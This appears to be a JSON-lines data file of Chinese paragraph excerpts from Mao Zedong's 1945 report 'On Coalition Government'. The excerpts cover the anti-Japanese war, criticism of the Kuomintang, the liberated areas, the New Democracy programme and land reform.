    {"text": "毫无疑义，中国急需把各党各派和无党无派的代表人物团结在一起，成立民主的临时的联合政府，以便实行民主的改革，克服目前的危机，动员和统一全中国的抗日力量，有力地和同盟国配合作战，打败日本侵略者，使中国人民从日本侵略者手中解放出来。 然后，需要在广泛的民主基础之上，召开国民代表大会，成立包括更广大范围的各党各派和无党无派代表人物在内的同样是联合性质的民主的正式的政府，领导解放后的全国人民，将中国建设成为一个独立、自由、民主、统一和富强的新国家。 一句话，走团结和民主的路线，打败侵略者，建设新中国。"},
    {"text": "所以，国际和平实现以后，反法西斯的人民大众和法西斯残余势力之争，民主和反民主之争，民族解放和民族压迫之争仍将充满世界的大部分地方。"},
    {"text": "中国的长期战争，使中国人民付出了并且还将再付出重大的牺牲； 但是同时，正是这个战争，锻炼了中国人民。 这个战争促进中国人民的觉悟和团结的程度，是近百年来中国人民的一切伟大的斗争没有一次比得上的。"},
    {"text": "如果说，中国近百年来一切人民斗争都遭到了失败或挫折，而这是因为缺乏国际的和国内的若干必要的条件，那末，这一次就不同了，比较以往历次，一切必要的条件都具备了。"},
    {"text": "中国是全世界参加反法西斯战争的五个最大的国家之一，是在亚洲大陆上反对日本侵略者的主要国家。 中国人民不但在抗日战争中起了极大的作用，而且在保障战后世界和平上将起极大的作用，在保障东方和平上则将起决定的作用。 中国在八年抗日战争中，为了自己的解放，为了帮助各同盟国，曾经作了伟大的努力。 这种努力，主要地是属于中国人民方面的。 中国军队的广大官兵，在前线流血战斗，中国的工人、农民、知识界、产业界，在后方努力工作，海外华侨输财助战，一切抗日政党，除了那些反人民分子外，都对战争有所尽力。 总之，中国人民以自己的血和汗同日本侵略者英勇地奋战了八年之久。"},
    {"text": "提到总结经验，那末，大家可以很清楚地看到，在中国有两条不同的指导路线，一条是能够打败日本侵略者的，一条是不但不能打败日本侵略者，而且在某些方面说来它是在实际上帮助日本侵略者危害抗日战争的。"},
    {"text": "国民党政府所采取的对日消极作战的政策和对内积极摧残人民的反动政策，招致了战争的挫折，大部国土的沦陷，财政经济的危机，人民的被压迫，人民生活的痛苦，民族团结的破坏。"},
    {"text": "两条路线：国民党政府压迫中国人民实行消极抗战的路线和中国人民觉醒起来团结起来实行人民战争的路线，很久以来，就明显地在中国存在着。"},
    {"text": "走着曲折道路的历史 为了使大家明了何以这个两条路线问题是一切中国问题的关键所在，必须回溯一下我们抗日战争的历史。 中国人民的抗日战争，是在曲折的道路上发展起来的。"},
    {"text": "但是东三省的人民，东三省的一部分爱国军队，在中国共产党领导或协助之下，违反国民党政府的意志，组织了东三省的抗日义勇军和抗日联军，从事英勇的游击战争。"},
    {"text": "一九三二年，日本侵略者进攻上海，国民党内的一派爱国分子，又一次违反国民党政府的意志，率领十九路军，抵抗了日本侵略者的进攻。 一九三三年，日本侵略者进攻热河、察哈尔 〔2〕 ，国民党内的又一派爱国分子，第三次违反国民党政府的意志，并和共产党合作，组织了抗日同盟军，从事抵抗。"},
    {"text": "但是一切这些抗日战争，除了中国人民、中国共产党、其他民主派别和海外爱国华侨给了援助之外，国民党政府根据其不抵抗政策，是没有给任何援助的。"},
    {"text": "一九二四年，孙中山先生接受了中国共产党的建议，召集了有共产党人参加的国民党第一次全国代表大会，订出了联俄、联共、扶助农工的三大政策 〔3〕 ，建立了黄埔军校 〔4〕 ，实现了国共两党和各界人民的民族统一战线，因而在一九二四年至一九二五年，扫荡了广东的反动势力 〔5〕 ，在一九二六年至一九二七年，举行了胜利的北伐战争，占领了长江流域和黄河流域的大部，打败了北洋军阀政府，发动了中国历史上空前广大的人民解放斗争。 但是到了一九二七年春夏之交，正当北伐战争向前发展的紧要关头，这个代表中国人民解放事业的国共两党和各界人民的民族统一战线及其一切革命政策，就被国民党当局的叛卖性的反人民的“清党”政策和屠杀政策所破坏了。"},
    {"text": "他们高举起革命的大旗，举行了武装的抵抗，在中国的广大区域内，组织了人民的政府，实行了土地制度的改革，创造了人民的军队——中国红军，保存了和发展了中国人民的革命力量。"},
    {"text": "到了日本侵略者打入东三省以后，中国共产党就在一九三三年，向一切进攻革命根据地和红军的国民党军队提议：在停止进攻、给予人民以自由权利和武装人民这样三个条件之下，订立停战协定，以便一致抗日。"},
    {"text": "就在这两年，中国共产党适应新的情况，决定并执行了抗日民族统一战线的新的完整的政治路线，以团结抗日和建立新民主主义共和国为奋斗目标。"},
    {"text": "一九三五年十二月九日，北平学生群众，在我们党领导之下，发动了英勇的爱国运动，成立了中华民族解放先锋队 〔6〕 ，并把这种爱国运动推广到了全国各大城市。"},
    {"text": "一九三六年十二月十二日，国民党内部主张抗日的两派爱国分子——东北军和十七路军，联合起来，勇敢地反对国民党当局的对日妥协和对内屠杀的反动政策，举行了有名的西安事变。"},
    {"text": "在卢沟桥事变的前夜，即一九三七年五月，我们党召集了一个具有历史意义的全国代表会议，这个会议批准了党中央自一九三五年以来的新的政治路线。"},
    {"text": "在这个时期内，日本侵略者的大举进攻和全国人民民族义愤的高涨，使得国民党政府政策的重点还放在反对日本侵略者身上，这样就比较顺利地形成了全国军民抗日战争的高潮，一时出现了生气蓬勃的新气象。"},
    {"text": "当时全国人民，我们共产党人，其他民主党派，都对国民党政府寄予极大的希望，就是说，希望它乘此民族艰危、人心振奋的时机，厉行民主改革，将孙中山先生的革命三民主义付诸实施。"},
    {"text": "人民战争 这一时期内，中国共产党领导的移到了西北的中国红军主力，改编为中国国民革命军第八路军，留在长江南北各地的中国红军游击部队，则改编为中国国民革命军新编第四军，相继开赴华北华中作战。"},
    {"text": "但是人民是最好的鉴定人，他们知道八路军新四军这时数量虽小，质量却很高，只有它才能进行真正的人民战争，它一旦开到抗日的前线，和那里的广大人民相结合，其前途是无限的。"},
    {"text": "不管现在我们的正式军队比起国民党现存的军队来（包括中央系和地方系）在数量上要少得多，但是按其所抗击的日军和伪军的数量及其所担负的战场的广大说来，按其战斗力说来，按其有广大的人民配合作战说来，按其政治质量及其内部统一团结等项情况说来，它已经成了中国抗日战争的主力军。"},
    {"text": "在这个宗旨下面，这个军队形成了为人民战争所必需的一系列的政治工作，其任务是为团结我军，团结友军，团结人民，瓦解敌军和保证战斗胜利而斗争。"},
    {"text": "在这个宗旨下面，在游击战争的条件下，全军都可以并且已经是这样做了：利用战斗和训练的间隙，从事粮食和日用必需品的生产，达到军队自给、半自给或部分自给之目的，借以克服经济困难，改善军队生活和减轻人民负担。"},
    {"text": "这个军队之所以有力量，还由于它将自己划分为主力兵团和地方兵团两部分，前者可以随时执行超地方的作战任务，后者的任务则固定在协同民兵、自卫军保卫地方和进攻当地敌人方面。"},
    {"text": "如果没有这种正确的划分，例如说，如果只注意主力兵团的作用，忽视地方兵团的作用，那末，在中国解放区的条件下，要战胜敌人也是不可能的。 在地方兵团方面，组织了许多经过良好训练，在军事、政治、民运各项工作上说来都是比较地更健全的武装工作队，深入敌后之敌后，打击敌人，发动民众的抗日斗争，借以配合各个解放区正面战线的作战，收到了很大的成效。"},
    {"text": "在中国解放区，在民主政府领导之下，号召一切抗日人民组织在工人的、农民的、青年的、妇女的、文化的和其他职业和工作的团体之中，热烈地从事援助军队的各项工作。 这些工作不但包括动员人民参加军队，替军队运输粮食，优待抗日军人家属，帮助军队解决物质困难，而且包括动员游击队、民兵和自卫军，展开袭击运动和爆炸运动，侦察敌情，清除奸细，运送伤兵和保护伤兵，直接帮助军队的作战。"},
    {"text": "在这方面，最重要的是动员全体人民从事粮食和日用品的生产，并使一切机关、学校，除有特殊情形者外，一律于工作或学习之暇，从事生产自给，以配合人民和军队的生产自给，造成伟大的生产热潮，借以支持长期的抗日战争。"},
    {"text": "但是，解放区民主政府领导全体人民，有组织地克服了和正在克服着各种困难，灭蝗、治水、救灾的伟大群众运动，收到了史无前例的效果，使抗日战争能够长期地坚持下去。"},
    {"text": "两个战场 中国的抗日战争，一开始就分为两个战场：国民党战场和解放区战场。 一九三八年十月武汉失守后，日本侵略者停止了向国民党战场的战略性的进攻，逐渐地将其主要军事力量移到了解放区战场；"},
    {"text": "从一九三九年起直至一九四三年秋季为止的五年之内，国民党政府发动了三次大规模的“反共高潮” 〔8〕 ，分裂国内的团结，造成严重的内战危险。"},
    {"text": "什么“奸党”、“奸军”、“奸区”，什么“破坏抗战、危害国家”等等污蔑共产党、八路军、新四军和解放区的称号和断语，都是这些反动分子制造出来的。"},
    {"text": "然而就在我做这个报告的时候，在侵华日军（满洲的未计在内）四十个师团，五十八万人中，解放区战场抗击的是二十二个半师团，三十二万人，占了百分之五十六；"},
    {"text": "还应指出，数达八十万以上的伪军（包括伪正规军和伪地方武装在内），大部分是国民党将领率部投敌，或由国民党投敌军官所组成的。 国民党反动分子事先即供给这些伪军以所谓“曲线救国” 〔9〕 的叛国谬论，事后又在精神上和组织上支持他们，使他们配合日本侵略者反对中国人民的解放区。"},
    {"text": "这个广大的中国解放区，包括十九个大的解放区，其地域包括辽宁、热河、察哈尔、绥远 〔10〕 、陕西、甘肃、宁夏、山西、河北、河南、山东、江苏、浙江、安徽、江西、湖北、湖南、广东、福建等省的大部分或小部分。"},
    {"text": "在所有这些解放区内，实行了抗日民族统一战线的全部必要的政策，建立了或正在建立民选的共产党人和各抗日党派及无党无派的代表人物合作的政府，亦即地方性的联合政府。"},
    {"text": "所有这一切，使得中国解放区在强敌压迫之下，在国民党军队的封锁和进攻的情况之下，在毫无外援的情况之下，能够屹立不摇，并且一天一天发展，缩小敌占区，扩大自己的区域，成为民主中国的模型，成为配合同盟国作战、驱逐日本侵略者、解放中国人民的主要力量。 中国解放区的军队——八路军、新四军和其他人民军队，不但在对日战争的作战上，起了英勇的模范的作用，在执行抗日民族统一战线的各项民主政策上，也是起了模范作用的。"},
    {"text": "一九三七年九月二十二日，中国共产党中央委员会发表宣言，承认“孙中山先生的三民主义为中国今日之必需，本党愿为其彻底实现而奋斗”，这一宣言，在中国解放区是完全实践了。"},
    {"text": "他们也说什么“国家至上”，但是他们所指的国家，就是大地主、大银行家、大买办阶层的封建法西斯的独裁国家，并不是人民大众的民主国家。"},
    {"text": "一面在口头上宣称要发展中国经济，一面又在实际上积累官僚资本，亦即大地主、大银行家、大买办的资本，垄断中国的主要经济命脉，而残酷地压迫农民，压迫工人，压迫小资产阶级和自由资产阶级。"},
    {"text": "一面在口头上宣称“共党问题为一政治问题，应用政治方法解决”，一面又在军事上、政治上、经济上残酷地压迫中国共产党，把共产党看成他们的所谓“第一个敌人”，而把日本侵略者看成“第二个敌人”，并且每天都在积极地准备内战，处心积虑地要消灭共产党。"},
    {"text": "一面同美国孤立派合唱“先亚后欧论”，借以延长法西斯德国也就是延长一切法西斯的寿命，延长自己对于中国人民的法西斯统治的寿命，一面又在外交上投机取巧，把自己打扮成为反法西斯的英雄。"},
    {"text": "它有一部分领袖人物不属于这个集团，而且被这个集团所打击、排斥或轻视。 它有不少的干部、党员群众和三民主义青年团的团员群众并不满意这个集团的领导，而且有些甚至是反对它的领导的。"},
    {"text": "中国解放区处在被敌人分割和战斗频繁的情况之下，因为普遍实施了适合人民需要的民兵和自卫军制度，又防止了对于人力资源的滥用和浪费，人力动员却可以源源不竭。"},
    {"text": "国民党拥有粮食丰富的广大地区，人民每年供给它七千万至一万万市担的粮食，但是大部分被经手人员中饱了，致使国民党的军队经常缺乏粮食，士兵饿得面黄肌瘦。"},
    {"text": "中国解放区的主要部分隔在敌后，遭受敌人烧杀抢“三光”政策的摧残，其中有些是像陕北这样贫瘠的区域，但是却能用自己动手、发展农业生产的方法，很好地解决了粮食问题。"},
    {"text": "但是我们只能这样说：幸喜中国共产党人还保存了中国人民的普通常识，没有服从那些实际上是把中国人民艰难困苦地从日本侵略者手里夺回来的中国解放区再送交日本侵略者的这种所谓“政令、军令”，例如，一九三九年的所谓《限制异党活动办法》，一九四一年的所谓“解散新四军”和“退至旧黄河以北”，一九四三年的所谓“解散中国共产党”，一九四四年的所谓“限期取消十个师以外的全部军队”，以及在最近谈判中提出来的所谓将军队和地方政府移交给国民党，其交换条件是不许成立联合政府，只许收容几个共产党员到国民党独裁政府里去做官，并将这种办法称之为国民党政府的“让步”等等。"},
    {"text": "难道国民党政府自己用自己的法西斯主义的政令和失败主义的军令，将黑龙江至贵州省的广大的土地、人民送交日本侵略者，还觉得不够吗？ 除了日本侵略者和反动派欢迎这些“政令、军令”之外，难道还有什么爱国的有良心的中国人欢迎这些东西吗？"},
    {"text": "没有一个不是形式的而是实际的、不是法西斯独裁的而是民主的联合政府，能够设想中国人民会允许中国共产党人，擅自将这个获得了解放的中国解放区和抗日有功的人民军队，交给失败主义和法西斯主义的国民党法西斯独裁政府吗？"},
    {"text": "有很多迹象表明，他们早已准备，尤其现在正在准备这样的行动：等候某一个同盟国的军队在中国大陆上驱逐日本侵略者到了某一程度时，他们就要发动内战。"},
    {"text": "谈判 为着打败日本侵略者和建设新中国，为着防止内战，中国共产党在取得了其他民主派别的同意之后，于一九四四年九月间的国民参政会上，提出了立即废止国民党一党专政、成立民主的联合政府一项要求。"},
    {"text": "关于如何废止一党专政、成立联合政府以及实行必要的民主改革等项问题，我们和国民党政府之间曾经有过多次谈判，但是我们的一切建议都遭到了国民党政府的拒绝。 国民党不但对一党专政不愿废止，对联合政府不愿成立，即对任何迫切需要的民主改革，例如，取消特务机关，取消镇压人民自由的反动法令，释放政治犯，承认各党派的合法地位，承认解放区，撤退封锁和进攻解放区的军队等等，也一项不愿实行。"},
    {"text": "这个可能性，这个前途，依然存在，并不因为国际形势好，国内人民觉悟程度增长和有组织的人民力量发展了，它就似乎没有了，或自然地消失了。"},
    {"text": "这就是克服一切困难，团结全国人民，废止国民党的法西斯独裁统治，实行民主改革，巩固和扩大抗日力量，彻底打败日本侵略者，将中国建设成为一个独立、自由、民主、统一和富强的新国家。"},
    {"text": "希望中国实现这个可能性、实现这个前途的，在中国是广大的人民，中国共产党及其他民主派别，在外国是一切以平等地位待我的民族，外国的进步分子，外国的人民大众。"},
    {"text": "我们清楚地懂得，在我们和中国人民面前，还有很大的困难，还有很多的障碍物，还要走很多的迂回路程。 但是我们同样地懂得，任何困难和障碍物，我们和全国人民一道一定能够加以克服，而使中国的历史任务获得完成。"},
    {"text": "我们希望国民党当局，鉴于世界大势之所趋，中国人心之所向，毅然改变其错误的现行政策，使抗日战争获得胜利，使中国人民少受痛苦，使新中国早日诞生。"},
    {"text": "国民党政府非常害怕解放区的真实情况泄露出去，所以在一九四四年的一次新闻记者团回去之后，立即将大门堵上，不许一个新闻记者再来解放区。"},
    {"text": "只有在弄清中国的全部情况之后，才有可能了解中国的两个最大政党——中国共产党和中国国民党的政策何以有这样的不同，何以有这样的两条路线之争。"},
    {"text": "只有这样，才会使人们了解，两党的争论，不是如有些人们所说不过是一些不必要的，不重要的，或甚至是意气用事的争论，而是关系着几万万人民生死问题的原则的争论。"},
    {"text": "在目前中国时局的严重形势下，中国人民，中国一切民主党派和民主分子，一切关心中国时局的外国人民，都希望中国的分裂局面重趋于团结，都希望中国能实行民主改革，都愿意知道中国共产党对于解决当前许多重大问题上所持的政策。"},
    {"text": "我们的一般纲领 为着动员和统一中国人民一切抗日力量，彻底消灭日本侵略者，并建立独立、自由、民主、统一和富强的新中国，中国人民，中国共产党和一切抗日的民主党派，迫切地需要一个互相同意的共同纲领。"},
    {"text": "这就是说：第一，中国的国家制度不应该是一个由大地主大资产阶级专政的、封建的、法西斯的、反人民的国家制度，因为这种反人民的制度，已由国民党主要统治集团的十八年统治证明为完全破产了。 第二，中国也不可能、因此就不应该企图建立一个纯粹民族资产阶级的旧式民主专政的国家，因为在中国，一方面，民族资产阶级在经济上和政治上都表现得很软弱；"},
    {"text": "另一方面，中国早已产生了一个觉悟了的，在中国政治舞台上表现了强大能力的，领导了广大的农民阶级、城市小资产阶级、知识分子以及其他民主分子的中国无产阶级及其领袖——中国共产党这样的新条件。"},
    {"text": "第三，在中国的现阶段，在中国人民的任务还是反对民族压迫和封建压迫，在中国社会经济的必要条件还不具备时，中国人民也不可能实现社会主义的国家制度。"},
    {"text": "我们主张在彻底地打败日本侵略者之后，建立一个以全国绝对大多数人民为基础而在工人阶级领导之下的统一战线的民主联盟的国家制度，我们把这样的国家制度称之为新民主主义的国家制度。"},
    {"text": "这是一个真正适合中国人口中最大多数的要求的国家制度，因为，第一，它取得了和可能取得数百万产业工人，数千万手工业工人和雇佣农民的同意；"},
    {"text": "其次，也取得了和可能取得占中国人口百分之八十，即在四亿五千万人口中占了三亿六千万的农民阶级的同意； 又其次，也取得了和可能取得广大的城市小资产阶级、民族资产阶级、开明士绅及其他爱国分子的同意。"},
    {"text": "我们主张的新民主主义的政治，就是推翻外来的民族压迫，废止国内的封建主义的和法西斯主义的压迫，并且主张在推翻和废止这些之后不是建立一个旧民主主义的政治制度，而是建立一个联合一切民主阶级的统一战线的政治制度。"},
    {"text": "中国人民，中国共产党及其他一切民主分子，必须尊重这个指示而坚决地实行之，并同一切违背和反对这个指示的任何人们和任何集团作坚决的斗争，借以保护和发扬这个完全正确的新民主主义的政治原则。"},
    {"text": "新民主主义的政权组织，应该采取民主集中制，由各级人民代表大会决定大政方针，选举政府。 它是民主的，又是集中的，就是说，在民主基础上的集中，在集中指导下的民主。"},
    {"text": "军队和其他武装力量，是新民主主义的国家权力机关的重要部分，没有它们，就不能保卫国家。 新民主主义国家的一切武装力量，如同其他权力机关一样，是属于人民和保护人民的，它们和一切属于少数人、压迫人民的旧式军队、旧式警察等等，完全不同。"},
    {"text": "在工商业问题上，孙先生在上述宣言里这样说：“凡本国人及外国人之企业，或有独占的性质，或规模过大为私人之力所不能办者，如银行、铁道、航路之属，由国家经营管理之，使私有资本制度不能操纵国民之生计，此则节制资本之要旨也。"},
    {"text": "我们主张的新民主主义制度的任务，则正是解除这些束缚和停止这种破坏，保障广大人民能够自由发展其在共同生活中的个性，能够自由发展那些不是“操纵国民生计”而是有益于国民生计的私人资本主义经济，保障一切正当的私有财产。"},
    {"text": "而这个国家经营的所谓国家，一定要不是“少数人所得而私”的国家，一定要是在无产阶级领导下而“为一般平民所共有”的新民主主义的国家。 新民主主义的文化，同样应该是“为一般平民所共有”的，即是说，民族的、科学的、大众的文化，决不应该是“少数人所得而私”的文化。"},
    {"text": "实行这个纲领，可以把中国从现在的国家状况和社会状况向前推进一步，即是说，从殖民地、半殖民地和半封建的国家和社会状况，推进到新民主主义的国家和社会。"},
    {"text": "每个共产党员入党的时候，心目中就悬着为现在的新民主主义革命而奋斗和为将来的社会主义和共产主义而奋斗这样两个明确的目标，而不顾那些共产主义敌人的无知的和卑劣的敌视、污蔑、谩骂或讥笑；"},
    {"text": "但是，一切中国共产党人，一切中国共产主义的同情者，必须为着现阶段的目标而奋斗，为着反对民族压迫和封建压迫，为着使中国人民脱离殖民地、半殖民地、半封建的悲惨命运，和建立一个在无产阶级领导下的以农民解放为主要内容的新民主主义性质的，亦即孙中山先生革命三民主义性质的独立、自由、民主、统一和富强的中国而奋斗。"},
    {"text": "对于任何一个共产党人及其同情者，如果不为这个目标奋斗，如果看不起这个资产阶级民主革命而对它稍许放松，稍许怠工，稍许表现不忠诚、不热情，不准备付出自己的鲜血和生命，而空谈什么社会主义和共产主义，那就是有意无意地、或多或少地背叛了社会主义和共产主义，就不是一个自觉的和忠诚的共产主义者。"},
    {"text": "没有一个新民主主义的联合统一的国家，没有新民主主义的国家经济的发展，没有私人资本主义经济和合作社经济的发展，没有民族的科学的大众的文化即新民主主义文化的发展，没有几万万人民的个性的解放和个性的发展，一句话，没有一个由共产党领导的新式的资产阶级性质的彻底的民主革命，要想在殖民地半殖民地半封建的废墟上建立起社会主义社会来，那只是完全的空想。"},
    {"text": "另外有些人，则甚至一口否认中国应该让资本主义有一个必要的发展，而说什么一下就可以到达社会主义社会，什么要将三民主义和社会主义“毕其功于一役”。"},
    {"text": "我们共产党人根据自己对于马克思主义的社会发展规律的认识，明确地知道，在中国的条件下，在新民主主义的国家制度下，除了国家自己的经济、劳动人民的个体经济和合作社经济之外，一定要让私人资本主义经济在不能操纵国民生计的范围内获得发展的便利，才能有益于社会的向前发展。"},
    {"text": "这是由于不了解我们所承认的孙中山先生在一九二四年《中国国民党第一次全国代表大会宣言》里所解释的三民主义的基本原则，同我党在现阶段的纲领即最低纲领里的若干基本原则，是互相一致的。 应当指出，孙先生的这种三民主义，和我党在现阶段上的纲领，只是在若干基本原则上是一致的东西，并不是完全一致的东西。"},
    {"text": "但是，孙先生的这种三民主义，按其基本性质说来，是一个和在此以前的旧三民主义相区别的新民主主义的纲领，当然这是“中国今日之必需”，当然“本党愿为其彻底实现而奋斗”。 对于中国共产党人，为本党的最低纲领而奋斗和为孙先生的革命三民主义即新三民主义而奋斗，在基本上（不是在一切方面）是一件事情，并不是两件事情。"},
    {"text": "毫无疑义，我们这个新民主主义制度是在无产阶级的领导之下，在共产党的领导之下建立起来的，但是中国在整个新民主主义制度期间，不可能、因此就不应该是一个阶级专政和一党独占政府机构的制度。"},
    {"text": "俄国的历史形成了俄国的制度，在那里，废除了人剥削人的社会制度，实现了最新式的民主主义即社会主义的政治、经济、文化制度，一切反对社会主义的政党都被人民抛弃了，人民仅仅拥护布尔什维克党，因此形成了俄国的局面，这在他们是完全必要和完全合理的。 但是在俄国的政权机关中，即使是处在除了布尔什维克党以外没有其他政党的条件下，实行的还是工人、农民和知识分子联盟，或党和非党联盟的制度，也不是只有工人阶级或只有布尔什维克党人才可以在政权机关中工作。 中国现阶段的历史将形成中国现阶段的制度，在一个长时期中，将产生一个对于我们是完全必要和完全合理同时又区别于俄国制度的特殊形态，即几个民主阶级联盟的新民主主义的国家形态和政权形态。"},
    {"text": "例如，在北伐战争时期，在土地革命战争时期和在抗日战争时期，我们的新民主主义的一般纲领并没有变化，但其具体纲领，三个时期中是有了变化的，这是因为我们的敌军和友军在三个时期中发生了变化的缘故。"},
    {"text": "（二）中国人民迫切地需要团结起来，实现一个民主的改革，以便造成民族团结，迅速地动员和统一一切抗日力量，配合同盟国打败日本侵略者；"},
    {"text": "要求惩办那些分裂民族团结和反对人民的亲日分子、法西斯主义分子和失败主义分子，造成民族团结； 要求惩办那些制造内战危机的反动分子，保障国内和平； 要求惩办汉奸，讨伐降敌军官，惩办日本间谍；"},
    {"text": "要求取消一切镇压人民的反动的特务机关和特务活动，取消集中营； 要求取消一切镇压人民的言论、出版、集会、结社、思想、信仰和身体等项自由的反动法令，使人民获得充分的自由权利；"},
    {"text": "要求保护青年、妇女、儿童的利益，救济失学青年，并使青年、妇女组织起来，以平等地位参加有益于抗日战争和社会进步的各项工作，实现婚姻自由，男女平等，使青年和儿童得到有益的学习；"},
    {"text": "而要做到这一切，最重要的是要求立即取消国民党一党专政，建立一个包括一切抗日党派和无党派的代表人物在内的举国一致的民主的联合的临时的中央政府。"},
    {"text": "这样的纲领，对于国民党统治区，暂时还是一个要求的纲领； 对于沦陷区，除组织地下军准备武装起义一项外，是一个要等到收复后才能实施的纲领；"},
    {"text": "中国人民应该扩大自己的军队——八路军、新四军及其他人民军队，并在一切敌人所到之处，广泛地自动地发展抗日武装，准备直接配合同盟国作战，收复一切失地，决不要单纯地依靠国民党。"},
    {"text": "如果反动分子要想剥夺中国人民的这种神圣的权利，要想压制中国人民的抗日活动，要想破坏中国人民的抗日力量，那末，中国人民在向他们劝说无效之后，应该站在自卫立场上给以坚决的回击。"},
    {"text": "第二 废止国民党一党专政， 建立民主的联合政府 为着彻底消灭日本侵略者，必须在全国范围内实行民主改革。 而要这样做，不废止国民党的一党专政，建立民主的联合政府，是不可能的。"},
    {"text": "所谓国民党的一党专政，实际上是国民党内反人民集团的专政，它是中国民族团结的破坏者，是国民党战场抗日失败的负责者，是动员和统一中国人民抗日力量的根本障碍物。"},
    {"text": "中国人民要求废止这个反人民专政的呼声是如此普遍而响亮了，使得国民党当局自己也不能不公开承认“提早结束训政”，可见这个所谓“训政”或“一党专政”的丧失人心，威信扫地，到了何种地步了。 在中国，已经没有一个人还敢说“训政”或“一党专政”有什么好处，不应该废止或“结束”了，这是当前时局的一大变化。"},
    {"text": "这就是立即宣布废止国民党一党专政，成立一个由国民党、共产党、民主同盟 〔16〕 和无党无派分子的代表人物联合组成的临时的中央政府，发布一个民主的施政纲领，如同我们在前面提出的那些中国人民的现时要求，以便恢复民族团结，打败日本侵略者。"},
    {"text": "不顾广大人民和一切民主党派的要求，一意孤行地召开一个由国民党反人民集团一手包办的所谓“国民大会”，在这个会上通过一个实际上维持独裁反对民主的所谓“宪法”，使那个仅仅由几十个国民党人私自委任的、完全没有民意基础的、强安在人民头上的、不合法的所谓国民政府，披上合法的外衣，装模作样地“还政于民”，实际上，依然是“还政”于国民党内的反人民集团。"},
    {"text": "因为现在谁也明白，在国民党统治区域，人民没有自由，在日寇占领区域，人民不能参加选举，有了自由的中国解放区，国民党政府又不承认它，在这种情况下，哪里来的国民代表？"},
    {"text": "在这个问题和其他任何有关民主改革的问题上，我们共产党人声明：不管国民党当局现在还是怎样坚持其错误政策和怎样借谈判为拖延时间、搪塞舆论的手段，只要他们一旦愿意放弃其错误的现行政策，同意民主改革，我们是愿意和他们恢复谈判的。"},
    {"text": "但是谈判的基础必须放在抗日、团结和民主的总方针上，一切离开这个总方针的所谓办法、方案，或其他空话，不管它怎样说得好听，我们是不能赞成的。"},
    {"text": "我们在纲领中提出了废止一党专政，成立联合政府，取消特务，取消镇压自由的法令，惩办汉奸、间谍、亲日分子、法西斯分子和贪官污吏，释放政治犯，承认各民主党派的合法地位，撤退包围和进攻解放区的军队，承认解放区，废止保甲制度，以及其他许多经济的文化的和民众运动的要求，就是为着解开套在人民身上的绳索，使人民获得抗日、团结和民主的自由。"},
    {"text": "”背叛孙先生的不肖子孙，不是唤起民众，而是压迫民众，将民众的言论、出版、集会、结社、思想、信仰和身体等项自由权利剥夺得干干净净；"},
    {"text": "一九三九年国民党推行其反动的《限制异党活动办法》，造成投降、分裂、倒退的危机，国民党人大叫其专制统一论的时候，我们又说：非统一于投降而统一于抗战，非统一于分裂而统一于团结，非统一于倒退而统一于进步。"},
    {"text": "不废止国民党内反人民集团的专政，成立民主的联合政府，不但在国民党统治区不能实行任何民主的改革，不能动员那里的全体军民打倒日本侵略者，而且还将发展为内战的惨祸，这是很多人都明白的常识了。"},
    {"text": "第五 人民的军队 中国人民要自由，要统一，要联合政府，要彻底地打倒日本侵略者和建设新中国，没有一支站在人民立场上的军队，那是不行的。"},
    {"text": "难道是由于上述这些民主党派和人民组织了什么军队，实行了什么“封建割据”，成立了什么“奸区”，违反了什么“政令军令”，因此才不给自由的吗？"},
    {"text": "从北伐战争后期直至现在，连“第一步”也丢了，站在反人民的立场上，所以一天一天腐败堕落，除了“内战内行”之外，对于“外战”，就不能不是一个“外行”。"},
    {"text": "“耕者有其田”，是把土地从封建剥削者手里转移到农民手里，把封建地主的私有财产变为农民的私有财产，使农民从封建的土地关系中获得解放，从而造成将农业国转变为工业国的可能性。 因此，“耕者有其田”的主张，是一种资产阶级民主主义性质的主张，并不是无产阶级社会主义性质的主张，是一切革命民主派的主张，并不单是我们共产党人的主张。"},
    {"text": "孙中山是中国最早的革命民主派，他代表民族资产阶级的革命派、城市小资产阶级和乡村农民，实行武装革命，提出了“平均地权”和“耕者有其田”的主张。"},
    {"text": "中国没有单独代表农民的政党，民族资产阶级的政党没有坚决的土地纲领，因此，只有制订和执行了坚决的土地纲领、为农民利益而认真奋斗、因而获得最广大农民群众作为自己伟大同盟军的中国共产党，成了农民和一切革命民主派的领导者。"},
    {"text": "出而张牙舞爪，进行了十年反人民战争，亦即反“耕者有其田”的战争的，就是那个集中了孙中山一切不肖子孙在内的团体——国民党内的反人民集团。"},
    {"text": "抗日期间，中国共产党让了一大步，将“耕者有其田”的政策，改为减租减息的政策。 这个让步是正确的，推动了国民党参加抗日，又使解放区的地主减少其对于我们发动农民抗日的阻力。"},
    {"text": "这个政策，如果没有特殊阻碍，我们准备在战后继续实行下去，首先在全国范围内实现减租减息，然后采取适当方法，有步骤地达到“耕者有其田”。"},
    {"text": "为了减少地主对于抗日的阻力，只实行减租减息，不取消地主的土地所有权，同时又奖励地主的资财向工业方面转移，并使开明士绅和其他人民的代表一道参加抗日的社会工作和政府工作。"},
    {"text": "所谓“共产党破坏抗战、危害国家”，所谓“奸党”、“奸军”、“奸区”，所谓“不服从政令、军令”，难道不正是因为中国共产党在这个问题上做了真正符合于民族利益的认真的事业吗？"},
    {"text": "将来还要有几千万农民进入城市，进入工厂。 如果中国需要建设强大的民族工业，建设很多的近代的大城市，就要有一个变农村人口为城市人口的长过程。 农民——这是中国工业市场的主体。"},
    {"text": "农民——这是现阶段中国民主政治的主要力量。 中国的民主主义者如不依靠三亿六千万农民群众的援助，他们就将一事无成。 农民——这是现阶段中国文化运动的主要对象。 所谓扫除文盲，所谓普及教育，所谓大众文艺，所谓国民卫生，离开了三亿六千万农民，岂非大半成了空话？"},
    {"text": "我这样说，当然不是忽视其他约占人口九千万的人民在政治上经济上文化上的重要性，尤其不是忽视在政治上最觉悟因而具有领导整个革命运动的资格的工人阶级，这是不应该发生误会的。"},
    {"text": "这种农业生产合作社，现时还只能是建立在农民个体经济基础上的（农民私有财产基础上的）集体的互助的劳动组织，例如变工队、互助组、换工班之类，但是劳动生产率的提高和生产量的增加，已属惊人。"},
    {"text": "中国一切政党的政策及其实践在中国人民中所表现的作用的好坏、大小，归根到底，看它对于中国人民的生产力的发展是否有帮助及其帮助之大小，看它是束缚生产力的，还是解放生产力的。"},
    {"text": "消灭日本侵略者，实行土地改革，解放农民，发展现代工业，建立独立、自由、民主、统一和富强的新中国，只有这一切，才能使中国社会生产力获得解放，才是中国人民所欢迎的。"},
    {"text": "因为不了解这些特点，他们就往往不适当地带着他们在城市里生活或工作的观点去观察农村问题，去处理农村工作，因而脱离农村的实际情况，不能和农民打成一片。"},
